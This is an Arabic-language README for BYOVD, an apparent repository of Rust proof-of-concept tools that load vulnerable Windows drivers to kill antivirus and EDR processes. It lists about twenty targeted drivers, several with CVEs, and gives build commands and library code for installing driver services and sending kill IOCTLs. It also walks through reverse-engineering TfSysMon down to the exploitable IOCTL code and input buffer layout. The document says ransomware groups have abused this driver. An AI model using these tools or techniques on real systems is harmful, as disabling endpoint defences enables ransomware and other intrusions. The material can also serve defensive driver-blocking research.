BYOVD

BYOVD هي مجموعة من نماذج الإثبات (PoCs) توضح كيف يمكن استغلال التعريفات الضعيفة لتعطيل حلول مكافحة الفيروسات (AV) واكتشاف والاستجابة للنقاط الطرفية (EDR).

تتضمن المجموعة كلاً من التعريفات غير الموثقة وتلك المغطاة بالفعل في LOLDDrivers أو قواعد حظر التعريفات الموصى بها من مايكروسوفت.

منذ اكتشافها الأولي، تمت إضافة تعريف TfSysMon إلى LOLDrivers وإساءة استخدامه من قبل مجموعات برامج الفدية باستخدام أداة EDRKillShifter، كما أفادت Sophos وESET

📚 جدول المحتويات

• 🔍 نظرة عامة
• 🏗️ هيكل المشروع
• 🔧 بناء
• 📦 byovd-lib
• 💡 نماذج الإثبات (POCs)
• 🔬 عملية الهندسة العكسية الكاملة للتعريف (x64)
• 🔗 المراجع
• ⚠️ إخلاء مسؤولية

🔍 نظرة عامة

اكتسبت تقنية BYOVD مؤخرًا شعبية في مجال الأمن الهجومي، خاصة مع إصدار أدوات مثل Terminator من SpyBoy (الذي بيع مقابل 3000 دولار) ومشروع ZeroMemoryEx Blackout. تستفيد هذه الأدوات من التعريفات الضعيفة لتعطيل وكلاء AV/EDR، مما يسهل المزيد من الهجمات عن طريق تقليل الكشف.

يحتوي هذا المستودع على عدة نماذج إثبات (PoCs) تم تطويرها لأغراض تعليمية، تساعد الباحثين على فهم كيفية إساءة استخدام هذه التعريفات لإنهاء العمليات.

🏗️ هيكل المشروع

تم تنظيم المشروع كمساحة عمل Rust Cargo (Rust Cargo workspace). تشترك معظم نماذج الإثبات في مكتبة مشتركة (byovd-lib) تتعامل مع المهام الأساسية: دورة حياة خدمة التعريف، إرسال IOCTL، مراقبة العمليات، تعديل الصلاحيات، والتنظيف. كل "قاتل" (killer) هو تطبيق ثنائي رفيع (حوالي 50-100 سطر) يحدد فقط إعداداته الخاصة بالتعريف. K7Terminator وAstra64-RW وXhunter1-Killer مستقلة — تحتوي كل منها على إعلانات مساحة عمل خاصة بها ([workspace]) ويتم بناؤها مباشرة من أدلتها الخاصة، وليس عبر مساحة العمل الجذرية.``` BYOVD/ ├── Cargo.toml # Workspace root (deps + release profile) ├── Cargo.lock ├── README.md ├── LICENSE │ ├── byovd-lib/ # Shared library │ ├── Cargo.toml │ └── src/ │ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() │ ├── service.rs # ByovdDriver -- SCM lifecycle (install/start/stop_and_delete) │ ├── device.rs # DeviceHandle -- 5 typed IOCTL dispatch shapes │ ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) │ ├── process.rs # find_pid_by_name / find_all_pids_by_name │ ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler │ ├── privilege.rs # enable_privilege / ensure_running_as_local_system │ └── util.rs # to_wstring / to_cstring / get_current_dir │ ├── AppRemover-Killer/ # OPSWAT AppRemover ardrv.sys ├── Astra64-RW/ # EnTech Astra32 / TVicHW astra64.sys -- standalone, kernel R/W demo (Shadow SSDT hijack -> SYSTEM) ├── BdApiUtil-Killer/ # Baidu BdApiUtil64 (CVE-2024-51324) ├── CcProtect-Killer/ # CnCrypt CcProtect ├── EnPortv-Killer/ # EnCase EnPortv ├── GameDriverX64-Killer/ # Fedeen GameDriverX64 (CVE-2025-61155) ├── GoFlyDrv-Killer/ # Golink GoFlyDrv ├── HWAudioOs2Ec-Killer/ # Huawei Audio driver HWAudioOs2Ec.sys ├── K7Terminator/ # K7 RKScan -- standalone, LPE + BYOVD modes ├── Ksapi64-Killer/ # Kingsoft ksapi64 ├── MonProcessEX-Killer/ # HONOR MagicAnimation and HONOR PCManager MonProcessEX.sys ├── NSec-Killer/ # NSEC NSecKrnl (ValleyRAT BYOVD reproduction) ├── PCTcore64-Killer/ # PC Tools PCTcore64 (CVE-2026-8501) ├── PoisonX-Killer/ # Microsoft PoisonX (j3h4ck reproduction) ├── STProcessMonitor-Killer/ # Safetica STProcessMonitor (CVE-2025-70795, v114 + v2618) ├── TfSysMon-Killer/ # ThreatFire sysmon ├── UnknownKiller/ # unattributed unknown.sys ├── Viragt64-Killer/ # Tg Soft viragt64 ├── Wsftprm-Killer/ # Topaz wsftprm (CVE-2023-52271) ├── Xhunter1-Killer/ # Wellbia xhunter1.sys (CVE-2026-3609) └── Xkpsm-Killer/ # JiranJikyosoft X-Keeper xkpsm

كل دليل `*-Killer/` يحتوي على `Cargo.toml` خاص به، و`src/main.rs` (تنفيذ `DriverConfig` + واجهة سطر الأوامر)، و`README.md` (تجزئة برنامج التشغيل + الاستخدام)، وملف `.sys` المطابق الذي يقوم التطبيق الثنائي بتحميله وقت التشغيل.

## 🔧 البناء

**المتطلبات الأساسية:** سلسلة أدوات Rust وأدوات إنشاء Visual Studio مع Windows SDK.```bash
# Build all tools (release, optimized + stripped)
cargo build --release

# Build a single tool
cargo build --release -p BdApiUtil-Killer

# Build multiple specific tools
cargo build --release -p NSec-Killer -p Wsftprm-Killer

يتم إخراج الملفات الثنائية إلى target/release/. انسخ ملف برنامج التشغيل .sys المقابل إلى نفس الدليل الذي يحتوي على الملف القابل للتنفيذ قبل التشغيل.

📦 byovd-lib

byovd-lib هي المكتبة المشتركة التي تُبنى عليها جميع إثباتات المفهوم (PoCs) باستثناء K7Terminator. تُظهر واجهتي برمجة تطبيقات متكاملتين -- الأولى عالية المستوى تصريحية للتدفق القياسي "تثبيت برنامج التشغيل، الإجهاز عند الرؤية، التنظيف"، والأخرى منخفضة المستوى أمرية لبرامج الإجهاز التي تحتاج تدفقًا مخصصًا (الارتباط ببرنامج تشغيل محمّل بالفعل، التفرع إلى معرفات عمليات متعددة، مخازن IOCTL منظمة، منطق إعادة محاولة مخصص، إلخ). يمكن مزج كلاهما في نفس الملف الثنائي.

تخطيط الوحدة```

byovd-lib/src/ ├── lib.rs # DriverConfig trait + run() / send_ioctl() / run_monitor() ├── service.rs # ByovdDriver -- SCM lifecycle (install, start, stop_and_delete) ├── device.rs # DeviceHandle -- typed IOCTL dispatch (5 shapes) ├── handle.rs # WinHandle / ScHandle -- RAII handle wrappers (Send + Sync) ├── process.rs # find_pid_by_name / find_all_pids_by_name ├── monitor.rs # run_monitor_loop (closure-based) + setup_ctrlc_handler ├── privilege.rs # enable_privilege / ensure_running_as_local_system └── util.rs # to_wstring / to_cstring / get_current_dir

### واجهة برمجة تطبيقات عالية المستوى: سمة `DriverConfig` + `run()`

هذا ما تستخدمه أدوات القتل المدمجة. قم بتنفيذ السمة، ثم استدع `byovd_lib::run()`، وانتهى الأمر.```rust
use byovd_lib::{DriverConfig, Result};
use clap::Parser;

struct MyDriver;
impl DriverConfig for MyDriver {
    fn driver_name(&self) -> &str { "MyDriver" }
    fn driver_file(&self) -> &str { "mydriver.sys" }
    fn device_path(&self) -> &str { "\\\\.\\MyDevice" }
    fn ioctl_code(&self) -> u32 { 0xDEAD }
    fn build_ioctl_input(&self, pid: u32, _name: &str) -> Vec<u8> {
        pid.to_ne_bytes().to_vec()
    }
}

#[derive(Parser)]
struct Cli {
    #[arg(short = 'n', long = "name", required = true)]
    process_name: String,
}

fn main() -> Result<()> {
    let cli = Cli::parse();
    byovd_lib::run(&MyDriver, &cli.process_name, None)
}

run() تقوم بـ: preflight_check ← تثبيت الخدمة (SERVICE_DEMAND_START) ← StartService ← مراقب القتل الفوري (Ctrl+C للخروج) ← إيقاف + حذف الخدمة.

تجاوزات السمة الاختيارية مع قيمها الافتراضية:

واجهة برمجة تطبيقات منخفضة المستوى: القطع الأمرية

عندما لا يتناسب تدفق السمة - على سبيل المثال، برنامج التشغيل محمل بالفعل وتريد فقط إرسال IOCTL واحد، أو تحتاج إلى سياسة إعادة محاولة مخصصة، أو يأخذ IOCTL مدخلات منظمة بدلاً من PID فقط، أو تريد التوزيع على جميع PIDs المطابقة - قم بتركيب القطع ذات المستوى الأدنى مباشرة.

دورة حياة برنامج التشغيل -- ByovdDriver:```rust use byovd_lib::ByovdDriver;

let driver = ByovdDriver::new("MyDriver", "mydriver.sys", "\\.\MyDevice")?; driver.start()?; // ERROR_SERVICE_ALREADY_RUNNING is OK let device = driver.open_device()?; // returns DeviceHandle // ... send IOCTLs ... driver.stop_and_delete()?;

**توزيع IOCTL** -- `DeviceHandle` يكشف عن خمسة أشكال مكتوبة:

| الطريقة | الاستخدام عند |
|---|---|
| `ioctl<I, O>(code, &input, &mut output)` | كلاً من مخازن الإدخال والإخراج، أنواع منفصلة |
| `ioctl_inout<T>(code, &mut data)` | نفس المخزن المؤقت للإدخال والإخراج |
| `ioctl_in<I>(code, &input)` | إدخال فقط، لا يوجد مخزن إخراج |
| `ioctl_in_unchecked<I>(code, &input)` | إدخال فقط، تجاهل الفشل (بديل لكل استدعاء لـ `ignore_ioctl_error`) |
| `ioctl_raw(code, in_ptr, in_size, out_ptr, out_size)` | ملاذ المؤشر الخام |

الأشكال المكتوبة تزيل التكرار اليدوي لـ `to_ne_bytes()` / `extend_from_slice()` عندما يأخذ IOCTL هيكلاً (مثل `{ pid: u32, padding: [u8; 20] }`).

**البحث عن العملية** -- `find_pid_by_name(name)` (أول تطابق) و `find_all_pids_by_name(name)` (جميع التطابقات، يستثني معرفات العمليات النظامية ≤ 4).

**حلقة المراقبة المخصصة** -- `run_monitor_loop(name, interval, |pid| ...)` تأخذ إغلاقاً لتتمكن من فعل ما تريد لكل تطابق (عدة IOCTLs، تسجيل منظم، توزيع عبر معرفات العمليات، إعادة المحاولة عند الخطأ).

**الامتيازات** -- `enable_privilege("SeDebugPrivilege")` / `enable_privilege("SeLoadDriverPrivilege")` للسائقين (drivers) التي تتطلب امتيازات رمزية صريحة. `ensure_running_as_local_system()` تُرجع خطأ إذا كانت العملية لا تعمل كـ `S-1-5-18`.

**مُغلِّفات الـ Handle** -- `WinHandle` (إغلاق تلقائي `CloseHandle`) و `ScHandle` (إغلاق تلقائي `CloseServiceHandle`) هما `Send + Sync` ويمكن نقلهما عبر الخيوط.

### مثال: التوصيل بسائق تم تحميله بالفعل، بدون دورة حياة خدمة

هذا ما يفعله `UnknownKiller --attach` -- تخطي SCM بالكامل، فقط افتح الجهاز وأطلق IOCTL مرة واحدة:```rust
use byovd_lib::{find_pid_by_name, DeviceHandle, Result};

fn main() -> Result<()> {
    let device = DeviceHandle::open("\\\\.\\eb")?;
    let pid = find_pid_by_name("notepad.exe").ok_or("not running")?;
    device.ioctl_in(0x222024, &pid)?;   // typed: just pass &u32
    Ok(())
}

أسماء مستعارة للتوافق الخلفي

FileHandle / ServiceHandle لا تزال تحل إلى WinHandle / ScHandle، و get_pid_by_name محتفظ بها كاسم مستعار لـ find_pid_by_name، لذا فإن الكود القديم الذي يشير إلى تلك الأسماء يظل قابلاً للتجميع.

💡 إثباتات المفهوم (POCs)

فيما يلي برامج التشغيل وإثباتات المفهوم الخاصة بها المتاحة في هذا المستودع:

• AppRemover-Killer: يستهدف ardrv.sys من OPSWAT AppRemover.
• Astra64-RW: يستهدف astra64.sys من EnTech Taiwan (Astra32 / TVicHW) -- إثبات مفهوم مستقل للقراءة/الكتابة في النواة.
• BdApiUtil-Killer: يستهدف BdApiUtil64.sys من Baidu AntiVirus (CVE-2024-51324).
• CcProtect-Killer: يستهدف CcProtect.sys من CnCrypt.
• EnPortv-Killer: يستهدف EnPortv.sys من Guidance EnCase.
• : يستهدف من (CVE-2025-61155).

🔬 عملية الهندسة العكسية الكاملة لبرنامج التشغيل (x64)

يوضح هذا القسم منهجية الهندسة العكسية الكاملة من الألف إلى الياء باستخدام برنامج تشغيل TfSysMon كمثال عملي. تنطبق هذه العملية على تحليل أي برنامج تشغيل لنواة ويندوز x64.

🎯 الخطوة 0: ما قبل التحليل - فحص استيرادات الدوال

تحقق من استيرادات برنامج التشغيل قبل بدء الهندسة العكسية.

يتطلب برنامج تشغيل قاتل العمليات الأساسي شيئين:

طريقة للحصول على مقبض لعملية (مثلاً ZwOpenProcess أو NtOpenProcess)

طريقة لإنهاء العملية (مثلاً ZwTerminateProcess أو NtTerminateProcess)

تحقق مما إذا كان برنامج التشغيل يستورد كلا النوعين من الدوال. إذا كان برنامج التشغيل يحتوي في دوالها المستوردة على Nt/ZwOpenProcess و Nt/ZwTerminateProcess فهذا مرشح ليكون برنامج تشغيل قاتل عمليات محتمل.

فقط بعد تأكيد هذه الاستيرادات يجب المتابعة إلى الهندسة العكسية التفصيلية في IDA Pro.

🛠️ المتطلبات الأساسية لتحليل برامج التشغيل x64

الأدوات المطلوبة:

• IDA Pro - لتفكيك برنامج التشغيل للتحليل الثابت
• OSRLoader - لتحميل/تشغيل برنامج التشغيل (بديل لأمر sc.exe)

📍 الخطوة 1: تحديد وتحليل DriverEntry

يبدأ كل برنامج تشغيل ويندوز بـ DriverEntry - ابحث عن هذه الدالة أولاً:

في TfSysMon، يبدو DriverEntry هكذا:```c NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) { unsigned __int64 v2; // rax v2 = BugCheckParameter2; if ( !BugCheckParameter2 || BugCheckParameter2 == 0x2B992DDFA232LL ) { v2 = ((unsigned __int64)&BugCheckParameter2 ^ MEMORY[0xFFFFF78000000320]) & 0xFFFFFFFFFFFFLL; if ( !v2 ) v2 = 0x2B992DDFA232LL; BugCheckParameter2 = v2; } BugCheckParameter3 = ~v2; return sub_17484(DriverObject); }

**ملاحظات التحليل:**
- يقوم الكود ببعض التهيئة باستخدام BugCheckParameter2 و BugCheckParameter3
- تحدث التهيئة الحقيقية للسائق في `sub_17484`
- اتبع الاستدعاء إلى `sub_17484(DriverObject)` - هذا هو المكان الذي يحدث فيه إعداد السائق الفعلي

### 📍 الخطوة 2: تتبع سلسلة تهيئة السائق

**انتقل إلى دالة التهيئة (`sub_17484`):**```c
NTSTATUS __fastcall sub_17484(PDRIVER_OBJECT DriverObject, unsigned __int16 *a2)
{
  // ... initialization code ...
  
  RtlInitUnicodeString(&DestinationString, L"\\Device\\TfSysMon");
  result = IoCreateDevice(DriverObject, 0, &DestinationString, 0x22u, 0x100u, 0, &DeviceObject);
  if ( result < 0 )
    return result;
    
  qword_1D5D8 = 0;
  dword_1D5D0 = 1;
  DriverObject->MajorFunction[15] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[18] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)&sub_17694;
  DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)&sub_17694;
  
  RtlInitUnicodeString(&SymbolicLinkName, L"\\DosDevices\\TfSysMon");
  v6 = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);
  // ... rest of function ...
}

النتائج الرئيسية لهندسة عكسية:

• اسم الجهاز: \\Device\\TfSysMon (مساحة النواة)
• الرابط الرمزي: \\DosDevices\\TfSysMon (يمكن الوصول إليه من وضع المستخدم كـ \\.\\TfSysMon)
• نوع الجهاز: 0x22 = FILE_DEVICE_UNKNOWN
• معالج IRP: جميع الوظائف الرئيسية تشير إلى sub_17694
• الوظيفة المستهدفة: MajorFunction[14] = معالج IRP_MJ_DEVICE_CONTROL

📍 الخطوة 3: تحليل وظيفة إرسال IRP

انتقل إلى وظيفة الإرسال (sub_17694):```c __int64 __fastcall sub_17694(struct _DEVICE_OBJECT *a1, IRP *a2) { struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx unsigned int v4; // ebx

if ( a1 != DeviceObject ) { v4 = -1073741790; goto LABEL_20; } CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation; v4 = 0; if ( !CurrentStackLocation->MajorFunction ) { // Handle IRP_MJ_CREATE } else if ( CurrentStackLocation->MajorFunction == 2 ) { // Handle IRP_MJ_CLOSE } else if ( CurrentStackLocation->MajorFunction <= 0xDu ) { goto LABEL_7; } else if ( CurrentStackLocation->MajorFunction <= 0xFu ) { v4 = sub_177D8(a2); // THIS IS THE IOCTL HANDLER goto LABEL_20; } // ... rest of function }

**تحليل الهندسة العكسية:**
- يحدث التحقق من الجهاز أولاً (`if ( a1 != DeviceObject )`)
- `CurrentStackLocation->MajorFunction` يحدد نوع العملية
- **هام جداً**: قيم MajorFunction 14 (0xE) و 15 (0xF) تستدعي `sub_177D8`
- MajorFunction 14 = IRP_MJ_DEVICE_CONTROL = معالجة IOCTL
- مسار الكود المعرض للخطر هو: **طلب IOCTL → sub_177D8**

### 📍 الخطوة 4: هندسة عكسية لمعالج IOCTL

**انتقل إلى دالة معالجة IOCTL (`sub_177D8`):**```c
__int64 __fastcall sub_177D8(PIRP Irp, __int64 a2, __int64 a3, __int64 a4)
{
  // ... variable declarations ...
  
  v7 = *(_DWORD *)(a2 + 24);  // Extract IOCTL code
  MasterIrp = Irp->AssociatedIrp.MasterIrp;  // Input buffer
  v9 = *(unsigned int *)(a2 + 16);  // InputBufferLength
  v10 = *(_DWORD *)(a2 + 8);  // OutputBufferLength
  
  if ( v7 > 0xB4A00070 )
  {
    if ( v7 > 0xB4A000F8 )
    {
      if ( v7 != -1264582404 )
      {
        switch ( v7 )
        {
          // ... various cases ...
          case 0xB4A00404:  // VULNERABLE IOCTL CODE
            if ( (unsigned int)v9 >= 0x18 )
              return (unsigned int)sub_1837C((__int64)Irp->AssociatedIrp.MasterIrp);
            break;
          // ... more cases ...
        }
      }
    }
  }
  // ... rest of function
}

اكتشافات هندسة عكسية حاسمة:

• استخراج IOCTL: v7 = *(_DWORD *)(a2 + 24) يحصل على كود IOCTL من IO_STACK_LOCATION
• المخزن المؤقت للإدخال: Irp->AssociatedIrp.MasterIrp يحتوي على بيانات المستخدم
• طول المخزن المؤقت: v9 = *(unsigned int *)(a2 + 16) يحصل على حجم المخزن المؤقت للإدخال
• IOCTL ضعيف: 0xB4A00404 يؤدي إلى sub_1837C
• فحص الحجم: يتحقق فقط من أن المخزن المؤقت ≥ 0x18 (24 بايت) - تحقق ضئيل!

📍 الخطوة 5: تحليل الوظيفة الضعيفة

انتقل إلى وظيفة إنهاء العملية (sub_1837C):```c __int64 __fastcall sub_1837C(__int64 a1) { unsigned int v2; // ebx void *v3; // rax unsigned int v4; // edi NTSTATUS v6; // eax // ... variable declarations ...

v2 = 0; if ( MmIsAddressValid((PVOID)a1) ) { v3 = *(void **)(a1 + 4); // EXTRACT PID FROM OFFSET +4 v4 = 0; if ( !v3 ) return 3221225485LL; memset(&ObjectAttributes.RootDirectory, 0, 20); ObjectAttributes.SecurityDescriptor = 0; ObjectAttributes.SecurityQualityOfService = 0; ClientId.UniqueThread = 0; ObjectAttributes.Length = 48; ClientId.UniqueProcess = v3; // SET TARGET PID while ( 1 ) { v6 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); v7 = v6 < 0; v2 = v6; if ( !v6 ) break; v8 = v4++; if ( v8 >= 3 ) { v7 = v6 < 0; break; } } if ( !v7 ) { v9 = 0; do { v2 = ZwTerminateProcess(ProcessHandle, 0); // TERMINATE PROCESS if ( !v2 ) break; v10 = v9++; } while ( v10 < 3 ); ZwClose(ProcessHandle); } } return v2; }

**تحليل الوظيفة:**
- **هيكل الإدخال**: من تحليل كود السائق، حددنا تخطيط المخزن المؤقت حيث يكون PID عند الإزاحة +4
- **تحليل الإدخال**: `v3 = *(void **)(a1 + 4)` يستخرج PID من مخزن الإدخال عند الإزاحة +4
- **فتح العملية**: `ZwOpenProcess` مع حقوق الوصول الدنيا (1u = PROCESS_TERMINATE)
- **لا توجد فحوصات أمنية**: لا يوجد تحقق من صلاحيات المتصل أو حماية العملية المستهدفة
- **إنهاء العملية**: استدعاء مباشر لـ `ZwTerminateProcess`
- **منطق إعادة المحاولة**: محاولات متعددة لكل من الفتح والإنهاء
- **أي عملية**: يمكن إنهاء أي عملية يمكن لحساب النظام الوصول إليها

### 📍 الخطوة 6: رسم سلسلة الهجوم الكاملة

**تدفق الهندسة العكسية الكامل:**
1. **نقطة الدخول**: يقوم المستخدم باستدعاء `DeviceIoControl` على `\\.\\TfSysMon`
2. **إنشاء IRP**: يقوم مدير الإدخال/الإخراج بإنشاء IRP مع MajorFunction = 14
3. **التوزيع**: `sub_17694` يوجه إلى `sub_177D8` لمعالجة IOCTL
4. **فحص IOCTL**: `sub_177D8` يتحقق من كود IOCTL `0xB4A00404` وحجم المخزن المؤقت ≥ 24 بايت
5. **التنفيذ**: يستدعي `sub_1837C` مع مخزن إدخال المستخدم
6. **الإنهاء**: `sub_1837C` يستخرج PID من الإزاحة +4 وينهي العملية عبر `ZwTerminateProcess`

**هيكل المخزن المؤقت للإدخال (من الهندسة العكسية للسائق):**```
Offset 0x00-0x03: [padding] - 4 bytes
Offset 0x04-0x07: [Target Process ID] - 4 bytes (DWORD)  
Offset 0x08-0x17: [extra_padding] - 16 bytes
Total Size: 24 bytes (0x18) - matches driver's minimum size check

توضح هذه المنهجية كيفية هندسة عكسية منهجية لأي برنامج تشغيل نواة ويندوز x64 لتحديد ثغرات مماثلة من خلال تتبع مسار التنفيذ من الاتصال بوضع المستخدم إلى عمليات النواة الخطيرة.

دعم 🍺

إذا ساعدك BYOVD في عمليات الفريق الأحمر، فكر في شراء بيرة لي:

🔗 المراجع

• مدونة Alice Climent-Pommeret: إيجاد واستغلال برامج تشغيل قتل العمليات باستخدام LOL مقابل 3000 دولار
• LOLDrivers: مستودع مركزي لبرامج التشغيل المعروفة الثغرات
• قواعد حظر برامج التشغيل من مايكروسوفت: قواعد حظر برامج التشغيل الموصى بها من مايكروسوفت
• برمجة نواة ويندوز بقلم Pavel Yosifovich
• داخل ويندوز، الجزء 1 & 2 بقلم Mark E. Russinovich, Alex Ionescu, David Solomon

⚠️ إخلاء مسؤولية

مشروع BYOVD هو لأغراض تعليمية وبحثية فقط. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر ناتج عن هذه البرامج. اطلب دائمًا الإذن الصريح قبل استخدام هذه الأدوات على أي نظام.